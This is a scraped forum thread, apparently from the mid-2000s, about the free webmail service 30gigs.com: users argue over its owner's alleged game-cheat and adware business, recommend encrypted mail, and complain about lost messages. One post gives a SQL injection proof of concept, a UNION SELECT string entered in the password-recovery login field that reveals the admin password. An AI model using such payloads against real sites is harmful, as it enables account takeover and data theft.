Brooklyn, NY | wow more perceptive comment:
if people are stupid enough to:
a) cheat at games
b) not protect their PC's
and
c) trust their email to any new company that pops up and offers a service easily and FREELY performed by other more reputable companies,
then they get what they have coming to them.
in other words: who cares.

Hartsdale, NY | What if people use this service or any other for legitimate reasons that don't include game cheats? Do you think that innocent people still deserve to have bad things happen to them? I certainly don't. But then again, I have just completed several classes on ethics and philosophy.
Anyway, can anyone tell me why the "people who are uninformed about computers deserve negative consequences of their ignorant acts" idea is so prevalent in the help-desk industry (via these forums)? I don't see this attitude in other professions (e.g., doctors, lawyers). Why the bitterness?

I think it stems to most it workers being the "geeks" and being abused in school. They finally have something they can hold over the "jocks" and popular peoples heads.
I mean really can we all expect every one using a computer to know how to reinstall their network stack if it breaks ? I don't understand all the bitterness either.

If you are into WebMail, you can use HUSHMAIL (»www.hushmail.com/). All that is needed is for both you and your recipient to have Free Hushmail accounts. You connect to their Web Mail servers to send/receive messages. They also allow you to send/receive encrypted message to/from non-Hushmail addresses. They are based on PGP PKI encryption so you need PGP to use a MUA as opposed to a Web Browser (the Web Interface handles the encryption/decryption for your Hushmail Web Mail Account). | |
|
| | Bottom line It should be obvious that the only way to send "confidential" e mail is by encrypting it wit a decent encryption program (or, by plain old snail mail). Since most e mail is spam or BS anyway, why worry about it? The guy has been exposednow, so, time to move on.... | |

Beverly Hills, CA | MSX Exposed- EXPOSED! Interesting - I used the blog to post my own positive comment towards MSX security and the admin removed it. He only seems to leave the uneducated pro-msx responses on the blog. Remember, there is always 2 sides to every story. Try it, post a pro-MSX message and watch it vanish... Talk about spin. | |

And the big deal is nobody likes a cheater and esp. playing a multiplayer game with one! Your response sounds like a typical cheater mindset, but then again why would you have a pro-msx comment unless you weren't?
I'm curious. | |

1 edit | Re: MSX Exposed- EXPOSED! I just like giving the benefit of the doubt. I have cheated at games before (up+up+down+down+left+right+left+right+a+b+select+start) remember that one? Anyways, I don't do a lot of gaming, so maybe I am just missing the point. To accuse people of hacking systems is serious. If he has the "code" as he has stated, why not post it to let others look at it. Apparently it hasn't been flagged by any security company. Just playing devil's advocate
This is also on the msxexposed site:

This person is obviously pissed at the owner and could be held liable if found slanderous. Remember free speech is ok until you start damaging someone else without facts to back it up. | |

|
| | heres a huge hole in the 30gigs.com website. The vulnerability exists in »www.30gigs.com/getpassword/ page due to
lack of validation of user submitted data.
Proof of Concept:
enter »www.30gigs.com/getpassword/
and copy & paster this code in the Login field, finally submit the form.
not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin
it will give an output like below, in which "runsit" corresponds to the
password of account "admin"
We have sent the password for your not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where

Its one thing to cheat at games, its another to
use those cheats to build a bot net and back doors into
others systems. | |
|
| | | Re: msx sucks 30g for free....is almost imposible,a 40g hdd still charge nearly 50 bucks.
after the successful of gmail,we begin believe a serious company will and can lot thing for free,but business is still business,yes a good and caring company can offer good value,but a serious business can not offer something that make it have loss. | |
|
| | 30gig The problem here is that someone involvled in the shady world of selling cheats for online games is not someone I would trust. Guys like him cost real companies $$ and hurt honest players. EA has to spend cash to keep their game playable for the average user. Cheats kill games and cost sales. He also has cheats for the game Americas Army, a game made by the US Army. They have to deal with this nonsense too. Like I said, its a shady business.
He bundles adware into his "free" cheat downloads too. Those he just takes from places where you can get the files for free and clean, adds his adware crap and puts them on his site.
Plenty shady. Not an email Id be inclinded too use, in fact there is nothing "legit" from him that I would use.

| | 30gigs.com I am pissed at 30gigs because all my mail has been erased! I checked my mail box yesterday and there was over 400 mails in one account and over 200 mails in the other account. And this morning when I checked my mailbox, it was all gone with only 6 mails in one account and 4 mails in the other account. Basically, all the mails I had received yesterday and earlier are all gone without any warning or notice.
Second, if you are typing a really long message to a friend using 30gigs.com, when you press send, your mail will not be sent. Instead, you are sent back to the login page because the session has timed out. So after you log in, then you realize that not only have you lost your really long message but it hasn't been sent either! This has been very frustrating.
Third, there is no meter to tell you how much space you have left.
Fourth, there is no customer service or someone you can contact via email to tell them of your problems!
The only reason why I had used 30gigs.com was to store mail. Now that I have lost all my mail, I don't think I will continue to use such an unreliable mailing system. | |
